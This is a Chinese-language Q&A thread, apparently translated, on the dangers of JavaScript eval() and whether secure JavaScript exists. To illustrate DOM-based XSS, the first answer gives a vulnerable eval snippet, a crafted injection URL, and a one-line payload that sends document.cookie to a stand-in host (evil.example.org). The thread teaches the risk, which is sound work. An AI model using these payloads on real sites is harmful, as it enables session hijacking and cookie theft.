javascript eval（）和安全性

Question

developer.mozilla.org说：

不要不必要地使用eval！ eval（）是一个危险的函数，它使用调用者的特权执行它传递的代码。

例如，任何恶意用户都可以打开chrome调试器，并修改正在执行的javascript代码。 所以他可以把自己的功能放到执行等。

一般来说有“安全的javascript代码”这样的东西吗？

Answer 1

例如，任何恶意用户都可以打开chrome调试器，并修改正在执行的javascript代码。 所以他可以把自己的功能放到执行等。

是的，用户可以使用开发人员工具使用JavaScript“攻击”他们自己的客户端会话。

但是，eval和开发人员工具之间的区别在于eval可以在可共享链接中执行操作。 攻击者可以向受害者发送一个链接，该链接利用代码评估功能。

拿这个代码：

<script>

eval('alert("Your query string was ' + unescape(document.location.search) + '");');

</script>

现在，如果查询字符串是?foo您只需获得一个警告对话框，说明以下内容： Your query string was ?foo

现在说Chuck向Bob发送了一封主题为“看看这个伟大的链接！”的电子邮件。

链接构造如下：

http://www.example.com/page.htm?hello%22);alert(document.cookie+%22 ,其中www.example.com是您的网站。

这会修改eval()执行的代码

alert("Your query string was hello");
alert(document.cookie+"");

（为了清楚起见，我添加了新的线条）。 这将显示一个显示所有非httpOnly cookie的警告框。

将其带到下一阶段，攻击者可以构建一个图像链接，将会话cookie发送给自己

new Image().src="https://evil.example.org/?cookie=" + escape(document.cookie)

这称为跨站点脚本（XSS）攻击。 实际上，该类型是基于DOM的XSS，具体而言。

一般来说有“安全的javascript代码”这样的东西吗？

是的，可以将对XSS安全的代码视为“安全的JavaScript代码” - 它可以保护当前用户免受跨域攻击。 但是，使用开发人员工具“信任”当前最终用户不会根据自己的优势修改JavaScript代码或变量的服务器端代码是不安全的。

因此，安全的JavaScript代码就是这样的代码，它只能保护当前用户。

Answer 2

是的，当然有安全的JavaScript。 您可以随时修改浏览器中的JavaScript，就像修改机器上运行的python程序一样。

能够改变自己机器上的代码的工作方式是微不足道的，并不是一个安全问题。

Eval（）经常被看作是有问题的，因为它往往是用用户生成的输入执行的（我认为真实的用例并不是真的很少）。 @SilverlightFox在他出色的答案中解释了为什么这可能是一个问题。 这一切都归结为eval（）可能被利用来在别人的机器上运行你的代码，这是一个安全问题。

请注意，这并非仅针对JavaScript，大多数语言具有相同的命名功能。 这些功能带有类似的警告。